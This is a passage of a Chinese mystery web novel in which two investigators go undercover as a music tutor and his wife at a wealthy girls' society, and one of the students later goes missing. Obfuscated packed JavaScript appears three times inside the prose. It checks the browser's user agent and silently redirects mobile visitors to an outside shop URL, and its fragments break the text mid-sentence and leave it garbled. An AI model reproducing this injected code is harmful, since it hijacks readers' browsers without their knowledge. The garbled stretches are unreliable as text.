闻蝉一脸惊讶,捂了捂嘴。 “可是那个杨家?” 管事眯眼一笑,很是得意。 “就是我们开当铺的那个杨家。” 闻蝉睁大了眼睛:“那另外几位娘子也是出身富贵了?” “是啊!”管事被一套话,将什么都说得清清楚楚。 “我们六姑社现在有六个小娘子。这头一位啊是聚宝庄的老板杨杨家金斗的大女儿,杨苗儿。第二位是船商何密何老板的小女儿何春。第三位就是沉香楼的老板张书华的女儿张菡萏。还有一位是金玉堂的老板叶光的女儿叶淑。” “还有两位呢?” 管事方才傲慢的神色淡了些。 “另外两个都是几位亲戚。一位陈娘子陈若兰,是杨家的表亲,另外一个何娘子何妙是叶家的表亲。”他一副不愿多谈这二人的样子,“你们放心,几位娘子都是大家闺秀,十五六的年纪,脾气也很好。” 郑观澜立在原地,像一根木桩子似的。 还是闻蝉握住了他的手。 “我还就怕年纪太小,不好教呢,几位娘子定然都是有底子的人,我夫君教起来也不会吃力。”她真像是一个担忧自己夫君的女人似的,“我夫君书读得很好,琴棋书画样样精通。就是没有当过夫子,教小孩子肯定是不行的。” 管事笑道:“那岂不是正好!” …… 二人得了消息,脚步都快了几分,直奔后门而去。 不为其他,只因管事提到的几个老板正是萧散被害那晚在船上的四名商人! 这世上不可能有这么巧合的事! 闻蝉一边走一边低声说道:“等会儿去了,就随机应变,我们就扮作夫子潜进去。” 不需要多言,郑观澜也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959875|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能明白她的意图。 “我明白的。” 不到一刻钟,二人就到了六姑社的后门。 此时,后门的人并不多,只有四五个,都是读书人的模样。 他们正围着一个老儒生,不知在说着什么。 闻蝉立即拉着郑观澜上前。 “请问,六姑社是在招夫子吗?” 几人看了过来。 那老儒生发黄的老眼在看到郑观澜的时候陡然一亮。 “会弹琴吗?” 郑观澜从容道:“会。” 老儒生点点头:“那你们都先跟着我进来。” 进了后门,小院儿里已经站了四人,三男一女。 一个穿着青色衣裳,头戴方巾,三十出头的模样,留着寸长的胡子,很是斯文,朝着二人客气一笑。 另一个截然不同,穿的衣裳花花绿绿的,明明已经是冬日,还拿着把扇子扇扇风,容貌是很俊,俊得有些妖孽,怎么看怎么不正经。 他的眼神一直在闻蝉身上打转。 这让郑观澜很是不适,侧身挡住了他的视线。 “啧。”那人扇了扇扇子,好像是闻到了什么气味似的。 他身侧站着一个小个头的中年女子,三十来岁,头上顶着一个相当大的圆锥髻,看上去都有些头重脚轻了。她唇色很淡,穿的衣裳也是灰灰的粉,看上去身子不太好,眼神瞟过二人,微微皱眉。 最后一个就相当招人眼球了。 那人穿着一身橘红色衣裳,抱着一把贴着花鸟螺钿的紫檀琵琶。一脸的卷曲的大胡子,只看得见他亮蹭蹭的琥珀色双眼。 竟是个胡人! “你们先来试试琴。”老儒生指着放在桌上的琴,“都弹梅花曲。” 闻蝉不知道什么梅花曲,但是从那些人顿然紧张的脸色能够看出——这曲子定然很难。 她偷偷觑了一眼郑观澜。 还是那么淡定,眉毛都没动一下。 她放心了。 老儒生扫了一眼,指了指郑观澜。 “你先来吧。” 郑观澜缓缓走到琴桌前坐下,左手按弦,右手一勾一挑,乐声厚重饱满,节奏跌宕,忽远忽近…… 弹完一段,老儒生就拍了板。 “就你了!” 郑观澜放下手,起身拱手道:“多谢老先生。” “我们还没弹呢!”其余几人很是不满。 老儒生一脸不耐烦, “弹了也白搭!这位郎君弹得比老夫还要好几分,你们能保证自己比他弹得还好吗?” 几人也是懂琴的人,知道他说的不假。 老儒生摆摆手,像是驱赶什么似的。 “没选上的就走吧,愣在这儿干嘛?” 这话说的不客气,几人也是要脸的,当即拂袖而去。 老儒生却不在乎这些人,问了郑观澜的名姓由来。 “晚辈李衡,本是京城人士,家中父母早亡,又屡试不得,才搬来淮南的。”他又介绍了闻蝉,“这是拙荆,文双。” 闻蝉对着老儒生欠身行礼,落落大方。 老儒生捋着胡子,连连点头。 “成家了好啊,成家了好啊。成家了立业了,才算是个男儿。” 不知他为何如此看重这一点。 闻蝉也不好问,等着他的下文。 老儒生先说道:“老夫本是在六姑社教几位娘子学琴的,可是如今已经年迈。实在是有心无力,如今有你接手也能放心回家养老了。罗娘子,你在六姑社时日最长,你来和他们说说六姑社的规矩吧。” “是。”罗娘子走到中间,脸上挤出一个僵硬的笑,“六姑社的规矩不多……” 56. 六姑现身 罗娘子先介绍了自己。 “我是罗薇,负责教几位娘子算学。”她指向那个中年文士,“这位是张敛,负责教导几位娘子经史子集,比你们早来几个月。他如今也主管六姑社内的一应事务。” 张敛朝着二人拱了拱手。 “日后一起共事,还请李兄多多指教。” 罗薇说道:“还有那个胡人,你们也瞧见了。” 这语气带着轻蔑。 “他和你们一样,是今日才来的,叫赫回。” 赫回有些瑟缩,朝着二人拱拱手,却没有说话,反而拨了拨琵琶。 “他是个哑巴。”罗薇瞥了一眼赫回。 竟是个哑巴? 二人虽然意外,但面上还是没有显露分毫,反而客客气气对他回了礼。 赫回咧嘴一笑,露出一口白牙。 罗薇继续说道:“每个夫子月银是十两,年节有赏银,六姑社内也安排了单独的小院居住,你们二人就住我隔壁,那个院子略大些。赫回住在张敛隔壁的小院子。至于平时授课,会提前七日安排好课程,张敛自会通知你们。饭食有厨房准备。每日到点儿自己去拿,下山要提前打招呼。其余的规矩也没了。只是……”她盯着郑观澜,“李郎君到底年轻,几位娘子也正当年,平日里授课最好就在院子里,以免惹人嫌话。” 这段时日,郑观澜都一直在被“嫌话”困扰,听了这话,自然心里不太舒服。 “求之不得。” 闻蝉拉了拉他。 罗薇挑眉一笑:“你们夫妻感情好,最好不过。等会儿我带你们去见小娘子。记住,小娘子们是学生,也是雇主,敬字为先。” “诶诶!”那个穿着花哨的男子喊道,“你还没介绍我呢。” 罗薇斜了他一眼。 “锦鸿,来打秋风,蹭吃蹭住的。” 锦鸿也不介意这样的话。 “在下锦鸿,这厢有礼了。” 郑观澜最不喜欢这种做派,又想到方才这人盯着人看的模样,敷衍回了个礼,冷淡得可怕。 赫回就客气多了,他回了礼,抱着琵琶弹了近乎半首曲目才停下。 锦鸿哈哈大笑:“看来我很讨赫郎君喜欢了。” 几人一进大厅就被安排着坐下。 闻蝉打量着厅内,到处摆着花瓶,插着花儿,就像是普通富贵人家似的。 唯独有个屏风很奇特,那屏风就放在一边儿,上面画着六个小娘子,神色各异,端端站着,很是养眼。 过了片刻,六位小娘子才翩然而来。 闻蝉心里一惊,这六人不就是屏风上的六人吗? 最中间的一位穿得极简素,一身淡青色衣裳,脸上也只薄薄抹了一层脂粉,清清淡淡的,很是出尘。 “学生杨苗儿见过几位夫子。” 她左侧的小娘子就穿得很不一样了,一身艳红色衣裳,头上戴满了各色精巧绢花,发髻又大,像盯着一个花篮子似的。这装扮是很亮眼,却不适合肤色黑黄方脸的她,显得她很俗气。 “学生张菡萏见过几位夫子。” 杨苗儿右侧的小娘子打扮得就合适许多,粉色衣裳,适当的金玉装饰,像个普通的大家闺秀,只是她面色苍白,嘴唇也没有血色,身材也瘦条条的,像是大病初愈之人。 她说话有气无力。 “学生何春见过几位夫子。” 她身边站着的是个低眉顺眼的小娘子,满头金饰,脖子上还戴着一个沉甸甸的黄金项圈,看着都累赘。 “学生叶淑见过几位夫子。” 另外两个站在最外侧。 一个气质极好,腰背板正,神情冷淡,叫陈若兰。 一个看上去最小,是何妙,不到十五,脸蛋圆嘟嘟粉扑扑,笑起来一双乌丸似的眼弯弯的,让问蝉不由想到了宝应。 几人虽很是不同,但礼数都很不错,连带对闻蝉的态度也很和善,口称师母,没有半分不尊敬。 喝了拜师茶,罗薇带着几人安置,还让人送来了替换的被褥。 二人的行李还在客栈,又打了招呼下山去拿行李,一通忙完,到天色快黑的时候才回到六姑社。 随意吃了些东西,二人就回了房,关上门,偷偷商议事情。 到底怕别人听着,二人把床幔放下,坐在床上,隔着炕桌说话。 郑观澜拿出自己刚刚收到的信。 “我让下头的人去查了,这四家人可以算是淮南最富的四家。杨家是开当铺的,他家的聚宝庄不仅遍布淮南,在外地也有不少铺面,是淮南的首富。” “但杨苗儿看上去还挺朴素的,不像其他人头上都顶着一大坨。” 高耸繁复的发髻代表的是权位大小高低,时下,但凡家里有些钱的女子,都以高髻为美为尊。 闻蝉只觉得发髻太大看着头重脚轻,反而不好看。 “她梳的飞仙髻也不算省事。” 这些,闻蝉就不懂了。 “还有呢?” “其次是那个张菡萏的父亲张书华,他家虽然是开香料铺子的,但是,买卖的都是西域来的名贵香料,还有不少西域的特色物件,家底仅次于杨家。” 闻蝉回想起张菡萏打扮得像是花仙子的模样。 “是很符合她的家境了。” “何密的情况复杂些。他家明面上是船商,暗地里却开了不少赌坊,其中最大最来钱的赌坊就是他那些停在码头上的船……” 朝廷是不允许赌博的,可是赌坊开在船上,就很不好抓,这个何密靠着这个定然赚了不少! “还有那个叶光,他没什么藏在暗处的生意,就是开了几个金银铺子,是以,四家中,他反而是家底最差的那一个。” 闻蝉笑了:“这个地方可不简单,四人的女儿连站的位置都是按照其家中财力大小来的。另外两个呢?” “陈若兰确实是杨家远房亲戚,家里父母都没了。何妙是何春的隔房堂妹,家里父母也没了,何密就把人接过来养着了。”郑观澜声音压得更低了,“方才我去厨房拿吃食瞧见了一样东西。” “什么东西?” “是个房间。当时我见杨苗儿一个人鬼鬼祟祟,就悄悄跟了上去。然后就见她一人进了一个房间,过了不到一刻钟,她又出来了,还把门给锁上了。她关门的间隙,我看了一眼,那里面挂了六幅画,画着六个女子,有几个还挺眼熟,像是杨苗儿她们。” “房间在哪儿?” “就在今日大厅的后面。” “若我没记错,我们今日去的那个大厅屏风上也画着她们六个人?” “确实如此,所以,杨苗儿的行径就很可疑了。” 闻蝉当即决定。 “这两日,我摸摸情况,看看能不能在罗薇那里套点消息出来,等两日后,我们就先去那个房间看看。” 次日一早,郑观澜去上课,闻蝉就拿着一个针线箩筐和香囊去了罗薇那里。 罗薇也闲着没事在看书,态度热情地接待了她,还给她倒上了茶摆了一盘精致的桃花酥。 “这是小娘子赏的,你尝尝,味道很是不错。” 闻蝉从善如流,拿起一个咬了一小口。 即使没有尝到味儿,她还是装着很惊讶的样子。 “是很好吃啊!” 罗薇笑意真切了几分。 闻蝉吃完桃花酥,拿出香囊给她。 “这是我昨儿在山下买的,看着很是衬你,还望你收下,莫要嫌弃。” 那香囊很是绣工很精巧,还吊着玉珠子,价值不低。 罗薇喜笑颜开,一下没有了之前冷淡模样。 “你真是客气,倒叫我不好意思,没有见面礼给你。” 闻蝉端起点心,眨了眨眼。 “这不算吗?” 二人气氛活络起来,罗薇也开始了“盘问”、 “你和你家夫君成亲时间不久吧?” “是呢,才一年,不过我们是娃娃亲,打小就认识。” 罗薇凑近了些,眼神微闪:“他不太好相处吧?” 闻蝉是很想点头,但是嘴上还是说道:“罗娘子怎么这么说?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959876|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 罗薇直起身,笑了笑,一脸了然。 “看着是个很傲气的读书人,和你不太一样。” 闻蝉微微一笑:“确实不太一样,不过还好,他私下还是比较迁就我的。” 罗薇却露出一个意味深长的笑。 “新婚嘛,自然是如此,可之后就说不定了。男人,善变。” 闻蝉从来不喜欢争论这种问题,她不关心男人是不是善变。 况且,她觉得罗薇这话让她有些……不太舒服。 二人相识不久,开口就说这种话…… 这个罗薇是个不太会和人相处的人。 她思量了一二,顺着说道:“都是这样的,他至少人品端正,不会做出太过火的事。” 听了这话,罗薇像是顺气了一般。 “也是这个理。”她又问起其他,“你们俩在京城的日子不太好过吧?” 饶是闻蝉也被这人弄得愣了一下。 还真没见过这么不会说话的人! “是啊,京城什么都贵,夫君也找不到活儿干,我们俩人这才合计着来渭南。” “怎么会到渭南来呢?” “我幼时来过几次,觉着这风景好人也好,就选了渭南。” 罗薇是渭南人,听了这话自然觉得舒服。 “我们渭南确实是个风水宝地!比那什么京城好呆多了!” 在闻蝉的退让迁就下,向来和人谈不拢的罗薇和她说得津津有味。 “人还真是看缘分,你我相识不过一日,却比很多相识许久的人说的话还要多。” 脑仁都在疼的闻蝉勉强笑道:“是呢,我也觉得和你有缘。” 罗薇倾身,压低了声音。 “交浅言深,我也提醒你一句,你那夫君长了一张祸水脸,小心小娘子们对他……” 闻蝉尴尬一笑。 “我会注意……” 而罗薇不知道的是,郑观澜已经用一节课的时间让几位小娘子彻底对他生出了畏惧的心思。 “杨小娘子,弹琴的时候手抖什么?” “夫子……我实在没力气了。” 郑观澜一脸认真:“明日起,你就绑一个铁块在手腕上,天长日久,自然就有力气了。” “还有你们,何娘子和叶娘子也是如此。” 三人痛苦闭上眼。 “是……夫子。” 咔擦咔擦…… 郑观澜循声望去。 “何小娘子。” 这声音冷得像是沾着冰碴子,何妙抖了一下,抬起头,呆呆地看着她,嘴角还带着碎屑。 “你日后站着上课。” 这样就不会一直偷吃了。 何妙眼中含泪。 “是……夫子……” 张菡萏偷笑,小声说道:“真是个笨丫头,又馋又蠢。” 郑观澜矛头立即指向她。 “张娘子,为何连谱子都记不下来?” 张菡萏立即坐正:“夫子……我记性不太好……” “那就多抄几遍,抄多了就记得住了。” 他气势太强,张菡萏完全不敢反驳。 “是,夫子……” 陈若兰也没有幸免,即使她全程没有说一句话多做一个动作。 “陈娘子,今日教渔樵问答,本是山水之间悠然自得的意趣,你弹的让我以为你快要从山崖跳下去自尽了。指法虽然都对,但是琴曲最重意境,如此一看,你反而是最差的。” 陈若兰被批得很惨,但还是不为所动,一副死气沉沉的模样。 “学生明白了。” 郑观澜第一次觉得自己弟弟也没那么差! 杨苗儿出来打圆场。 “夫子,表姐最近身子不舒服,或许是因此才影响了她。” 郑观澜瞥了一眼陈若兰,没有再说,只是觉得可惜。 这个陈若兰本事是不差的,可就是弹什么都十分凄凉,毫无生气。 他收起书。 “今日就到这里,你们自己回去多多练习。” 57. 一更天 在六姑社内呆了两日。 闻蝉借着罗薇了解了不少六位小娘子之间的隐秘八卦。 总结起来也就四个字——势利之交。 郑观澜给她们上课,一切自然也看在眼里。 这日回房后,二人讨论着此事。 他对此是不太在意的。 “不管是男女老幼,人这辈子打的交道有一大半都是势利之交。六姑社看似只是普通的集社,但却牵扯到不少钱财来往,几人之间定然不会那么纯粹。” “钱财来往?”闻蝉一听到这话就来了精神,走到桌边坐下,撑着脑袋看着他,“你可是打探到什么新消息了?” “今日上课前,张敛告知我,七日之后,六姑社会举行一场拍卖会,几位小娘子要准备拍卖会的书画,让我抬抬手,这几日先别罚她们。” “拍卖?她们准备书画?”闻蝉也觉得很古怪。 这拍卖拍的自然得是真正有价值的东西,怎会要几个没有任何名气的小娘子的书画来作为拍卖的东西呢? 郑观澜一语道破。 “这是敛财的一种方式。她们的书画怎么可能值钱?不过是找个由头,让别人的钱从明路上过给她们背后的家族。” 这种事,闻蝉也听说过。 不少官员会借助典当行等行业,将自己贪墨来的赃款转化为合理的收入。 “可……她们几家是商户啊?买书画的为何要给他们送钱?” “是给这四家背后的人送钱。你忘记了,那日在船上的人可不止这四个商户,还有县令黄齐乐和县丞陈释德。” “定然不止他们。一个县令和县丞可没那个狗胆敢谋害御史!在萧散尸体上做手脚的可是州府的人” “自然,总和他们脱不开关系。我已经让人去杨家这四家密查他们的产业了。” 闻蝉现在终于明白,蔡真为什么非要派郑观澜和她一块出门了! 除去躲风头,也只有郑观澜有那么多自己的势力足够暗查这些人。 天色渐晚,烛火的光也逐渐变得明亮。 二人换上黑衣,一前一后翻出了院子。 今晚,他们就要去那个挂着画的房间一探究竟! 郑观澜走在前引路。 六姑社的人少,几乎无人巡逻,二人畅通无阻就到了那房间的门口。 闻蝉抽出银簪插进锁芯捣鼓,郑观澜很是默契地站在她背后放风。 不到半刻钟,那锁就咔得响了一声,自己开了。 闻蝉推开门,招呼郑观澜跟上。 二人进了屋。 郑观澜这才想起一个问题。 “等等!那锁你这样弄开后应当无法复原吧?” “谁说的?你瞧不起谁呢?”闻蝉拍着胸口打包票,“锁肯定没坏!杨苗儿绝对不会发现的!” 郑观澜记得这锁是有些复杂的,他忍不住问道:“你从哪儿学来的本事?” 闻蝉笑了一下:“说出来肯定吓你一跳!” “什么江洋大盗?” “不是,是……”闻蝉吐出一个让人极其意外的名字,“翟听风。” “翟听风?” 虽然见过一次,但郑观澜对此人印象极其深刻! 翟家世代在京城经商,其父是个相当厉害的商人,只用了短短五年时间就成了京城最大的船商,甚至染指了漕运。 然而,过慧易夭折,在翟听风十二岁那年,其父就死了。 一夜之间,翟听风成了孤儿。 面对争夺财产的叔伯以及重重艰难,此人竟硬生生扛了过来,翟家不仅没有一落千丈,反而越来越好。 如今的翟家,论其家产,在京城商户中排不了第一,但也绝不在前十开外。 这种人……绝对不简单。 可是,他怎么会通晓如此精妙的开锁法? 这太违和了。 闻蝉没有如他一般想的那么多,她点燃了火折子,照着亮,观察屋内。 火折子亮度不大,但足够看个模糊的轮廓。 屋内空荡荡的,桌椅摆件,什么都没有,空得让人心里发慌。 只有大厅背墙上挂着六幅画。 画上分别是六名小娘子,最中间的一幅画上还提着诗。 “陈若兰,何妙,叶淑,何春。”闻蝉对着边上四幅画,依次叫出了画上人的名字。 画上的四人,看上去比现在小了五六岁,但这画将几人的神韵画得活灵活现,让人一见就知是她们。 另外两幅画上的人就很眼生了,她们看上去是十五六岁的年纪。 一个眉尾低垂,看着似有无限愁思。另一个面容端庄,看着十分文静娴雅。 那个眉尾低垂的小娘子的画挂在正中间,左上角提着诗。 “食松七万年,独看沋水流。望西极乐界,日月七星顾。” “这什么意思?”闻蝉问道。 “前面看懂了,后面没看懂。我们先回去吧。” 这屋内也没什么其他的东西,二人记下那首古怪的诗,原路返回。 路上没有人影,眼前却突然黑了一下。 闻蝉被吓得浑身瞬间绷紧,下意识抬起头。 墙头上一块形状怪异的黑影跳下。 郑观澜斜着眼。 “是猫。” 闻蝉这才看清,那是一只体型极大的玳瑁色的猫,看着比乌玄大了两圈,正好奇看着他们,尾巴友善地在她的脚脖子上缠绕。 “哎呀,我可真是……怎么什么猫都喜欢我呢?”闻蝉蹲下身,摸了摸那猫的头。 “厨房养的,可能是闻到你身上的肉味了。”对于闻蝉恨不得三顿不离肉的生活方式,郑观澜一直十分反对。 “我是肉做的当然有肉味,不像你,泥巴捏的。”闻蝉昂首挺胸,大踏步向前走着。 郑观澜笑了一声:“你先擦擦你额头的汗。” 闻蝉掏出帕子一抹,语气强装镇定。 “这鬼天气太热了!” 郑观澜幽幽道:“是呀,这冬日最热,热得人满头大汗……不,是冷汗。 …… 回屋刚收拾完,外头就传来两声连续的梆子声。 “二更天了,我们动作还算快啊!” 闻蝉躺在床上,摊开四肢。 郑观澜缩在一旁的榻上。 “诶!”闻蝉侧过身问道,“你说画上我们不认识的俩人是谁啊?” “出嫁。” “什么?” “画应当是四五年前的,那二人如今也有二十岁了,按理说是出嫁了的年纪,怎么还会留在六姑社?” “也可能死了。”二十六岁还没成亲的闻蝉坐起身,“二十岁就一定要成亲吗?” “你这种才是罕见。” 闻蝉也不得不承认。 如今虽然大多晚嫁,但是女子一般十八岁上下就会成亲。 “咳咳,那首诗呢?又是什么意思?”闻蝉趴在床沿,双手撑着下巴,看着他。 郑观澜眼中闪过一丝笑意。 “那首诗啊……写的是毛女。” “毛女?那是什么?” “和六姑也有些关系,还记得我之前说的六姑泉的由来吗?” “记得啊,几个要被殉葬的宫女受文曲星指引逃出秦宫,然后在这里住下了,死后化作了六个泉眼。” “玉姜。当时她们逃到黑松林的时候,有一个宫女和她们分道扬镳,跑到了华山。到了华山后,她路遇一位叫做谷春的道士。谷春教她得道之法。后,玉姜得道,却也因食用了大量松叶,体生绿毛,因此,也被称为毛女。这前头一句‘食松七万年,独看沋水流’说的不就是在华山得道的毛女吗?” “又是成仙?”闻蝉感叹,“始皇帝自己求了一辈子长生没活到五十岁,自己的宫女却一个接一个一个成仙……” 郑观澜眼神闪了闪,嘴角微微翘起。 “也不能算是成仙吧。” “不算成仙?算什么?” “妖。毛女会在深夜潜入人的屋内,躲藏在床下,等人睡着的时候,她浑身的绿毛就会从床下一点点爬上来,缠住人的脖子……然后一点点收紧。” 呼—— 屋内乍然一暗。 闻蝉被吓得叫了一声。 “啊!” “该睡了。”郑观澜的声音在黑暗中,隐隐带着笑意。 闻蝉这才反应过来这人是在故意吓自己! 郑观狗! 她旋即躺回去。 “那谢谢你把烛火吹灭了哟~” “不必客气。”尾音微微上扬着。 闻蝉不用看都猜的到某个“奸佞小人”此刻的表情。 她闭上眼。 “你最好今晚睡觉都睁着眼,我觉得毛女更喜欢藏在榻下。” “哦?是吗?真让人害怕。”郑观澜语调难得有如此大的起伏,十分阴阳怪气,“你不会是害怕得睡不着吧?” 闻蝉拉起被子罩住脑袋。 “睡觉!” 半夜…… 冰凉丝滑的东西贴着脖子蠕动。 好舒服…… 郑观澜喉咙里滚出满足的叹息。 忽然,叹息被掐断。 那东西勒住了他的脖子,让他呼吸困难。 “哈……” 他猛地坐起身,背后满是冷汗,大口大口喘着气。 “哎呀,你这是怎么啦?” 闻蝉正坐在他的身侧,披散的头发纠缠着他的脖子。 “你!”郑观澜气得发笑,“你用头发勒我?” 闻蝉从容不迫地把自己的头发扯回来,慢条斯理梳理着。 “有吗?” “你今年几岁?” “二十六,比你大一岁。” 郑观澜哑口无言。 闻蝉甩了甩头,以得胜者的姿态昂起头:“你胆子不会这么小吧?” 她用最大的力气戳了一下郑观澜的胳膊。 郑观澜一掌拍了回去。 闻蝉捂了一下手背。 “你完蛋了。” 她照葫芦画瓢打了回去。 二人如同三岁孩子,你打我一下我打你一下。 闻蝉看到郑观澜肿起的手背得意大笑。 “我赢了!” “幼稚!”郑观澜忍住还手的冲动。 他怎么又被这个女人带跑偏了! …… 第二日一早,郑观澜前脚刚去上课,罗薇就进了院子。 闻蝉立即迎上前去。 “罗姐姐,你怎么这么早就来了?” 罗薇眼神在她身上上下逡巡,让她觉得有些不舒服,像是被人当成什么物件打量似的。 但想到自己要打听消息,她还是忍住了。 “罗姐姐,你这么看我是我有什么不妥吗?”闻蝉眨眨眼。 罗薇摇摇头,收起了那种眼神。 “我今日想下山去买些胭脂水粉,你可要和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964710|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块?” 闻蝉一口应下。 “好啊!我正好也要买些呢。” 二人一拍即合,立即向山下走去。 刚走没几步,罗薇忽然顿住脚步,盯着闻蝉,笑得十分暧昧。 “你们小两口昨晚动静可真大啊,都二更天了,还弄得那么响?” 闻蝉将袖口向下扯了扯,遮住发红的手背。 是打得挺响的。 她一时有些尴尬:“有那么大声吗?” 罗薇摆摆手:“我没怪你,你们是夫妻,天经地义的事,有什么见不得人的?但是啊……”她又一次露出那种特有的奇怪的神色。 眉头微微皱着,眼里冷冷的,嘴唇却弯弯的。 “男人啊,都不是好东西,你要想靠这个留住他可没用!” 闻蝉有些无言,不知该如何接话。 罗薇继续神叨叨地念着:“都是坏种,别看着你们家夫君现在还算个人,迟早都要变心的。像那个锦鸿就是个不折不扣的浪荡子……” 闻蝉很想说…… 那个锦鸿就是头一眼看着也不像是正经人吧? 只是看罗薇越发疯狂的神色,她真不敢搭话,默默听着。 “哟~” 一个女声骤然响起,就在背后。 “罗薇,你又在这里挑拨别人夫妻了?” 闻蝉转身一看。 是个容貌丰美的女子,明明五官极其艳丽张扬,气质却十分清雅,行动间,淡青色的裙摆似湖水涟漪,一点点散开。 罗薇见她立即涨红了脸。 “顾纨?你来做甚?” “我虽未住在六姑社,但也负责教导几位小娘子的茶艺,难道我不能来吗?” 顾纨看着和气,行事却很是霸道,她走到二人中间,不着痕迹挤开罗薇,拉起闻蝉的手,“那日我听张郎君说新来了个教琴艺的夫子,还带着自己的夫人?想必你就是那位李夫子的夫人了吧?” 闻蝉装出柔顺的样子。 “正是,我叫文双。怎么没见过顾姐姐?” “我前几日有事没在。我给你提个醒,有些人啊,就是见不得别人好……” 话未说完,罗薇就气冲冲走了,连个招呼也不打。 顾纨拉住闻蝉。 “甭搭理她!我和她认识快五六年了,这人可不是什么好人。你呀,少和她打交道。” 闻蝉自然知道罗薇这种总是怨气冲天的人不可交。 可是……她现在要打听消息啊!!!! 不过嘛…… 顾纨说自己和她认识五年了? “顾姐姐在六姑社做了五年的夫子吗?” “那倒没有,四年左右吧。不过,我一直住在六姑社下头。”顾纨指向下头的半山腰上,“我在那儿有个茶园。” “真不错,这里风景秀美,住着就舒心。” 顾纨拉着她手就没放开过。 “虽是头一次相见,可我总觉得一见如故,日后有空,我们俩多走动,你没事儿就去我那儿玩玩。我一个人也孤单得很。” 闻蝉自然是应下。 二人一边说着话,一边走着。 顾纨可比罗薇好相处多了。虽然好打听了些,但是问什么说什么,还不会讲难听的话。 回去后,闻蝉把顾纨的事情告知给了郑观澜。 郑观澜这才想起是还有个教茶艺的夫子。 “她在此处也有五六年了,多多少少也该知道一些事。而且她是四年前才进入六姑社的,和那些事扯上关系的可能性很小。”闻蝉已经打算好,“之后,我就从她入手先打听一下那两个画像中的女子的身份。” “罗薇没有顾纨精明。”郑观澜说道,“找她打听可能风险小些。” 闻蝉想到今日的事情就想翻白眼,但也不好开口说出。 “她在六姑社五年了,万一和那些事情有牵扯呢?” 郑观澜相信她的判断。 “看你自己。”他躺回榻上,合上眼,“我的人今天查到一个消息。” “什么?” “关于杨家。杨家的产业来源是玉家。” “玉家?” “嗯,玉家家主的夫人和杨金斗的夫人是姐妹。十几年前,杨家一直寄居在玉家,五年前,玉家在出城的时候遭遇土匪,全家蒙难。因为也没有其他亲戚,这份产业辗转到了杨金斗手中。” 闻蝉猜测道:“会不会是杨金斗为了谋夺玉家家产……” “不确定,玉家家底虽厚,可是两家关系血缘并不算亲密。杨金斗只拿到玉家其中一部分家产,还是他的夫人以收回姐姐嫁妆为名义才拿回的。那笔钱,不算多。” 闻蝉大胆推测:“五年前……那两名女子中其中有一个一定是玉家的女儿!” 郑观澜也很赞成。 “没错。” 闻蝉躺下盖好被子:“明儿我去试探试探顾纨……” 烛火熄灭,屋内复归平静。 咚!咚! 急促的敲门声将二人从浅眠中惊醒。 郑观澜翻身而起,手忙脚乱把被子扔床上。 “谁?!”他披着衣裳朝外问道。 “是我!” “张敛?”郑观澜对闻蝉使了个眼色,自己去开门。 门一打开,就见张敛一脸焦急,站在外面跺着脚。 “出什么事了?”郑观澜关切道。 张敛一拍大腿。 “杨苗儿失踪了!” 58. 泉中女尸 张敛坐在桌边,捂着脸,对二人哭诉。 “我回房后才想起还未给她们布置明日的课业,就先去找了杨苗儿。可敲了许久门,也没有动静。我不好入内,就叫了婢女来帮我进去看看。没成想……婢女说屋内根本没有人。我进去一看,屋内当真没有半个人影,东西都还整整齐齐放着!那时,我还是没想太多,以为她在其他小娘子处,就先去了别处。一去才知晓,她们都没见着杨苗儿……” 闻蝉问道:“可去其他地方找过?” “都找过了。”张敛摇摇头,“不见踪影。” “难道是她下山了?” “不可能!今晚婢女去给她送饭的时候她人还在。好好的,她怎么会摸黑下山,连一个人都不带?” 虽说没有教这几个孩子太长时间,郑观澜心里还是关切的,他站起身。 “在外面也找找吧,或许人就在附近。” 张敛跟着站起来,握着郑观澜的手,眼睛红肿得厉害。 “孩子要是出什么事,我还有什么脸面去见她们的爹娘啊……” 闻蝉踏出门。 “先找人!” 然而,众人在六姑社内外连带瑞泉观,找了一晚上都没找到杨苗儿半个人影。 众人坐在正厅内,面色难看。 顾纨带着失魂落魄的张敛走进来。 “我那里也找过了,没有看到杨苗儿。” 罗薇说道:“已经让人去通知杨家了,杨家的人马上就到。” 张敛的面色瞬间红润了些。 “对对对!杨家的人多,等他们到了,孩子一定能找回来!” 既然杨家的人都要来了,除去张敛和罗薇还有顾纨,其余人都准备回房休息。 一夜没睡,即使事情再多,闻蝉也强逼自己闭上眼睡觉。 跑了一夜,身体的劳累让这一觉睡得格外长。 二人醒来的时候已经将近傍晚了。 窗外的日光都开始暗下去,天边染上一线橙黄的光。 闻蝉摸了摸肚子,看着站在窗边的郑观澜。 “你饿不饿?” “要吃什么?我去厨房拿。” 闻蝉下了床,跳起来跺了跺脚。 “我们一起吧,睡了一日,也该走动走动。” 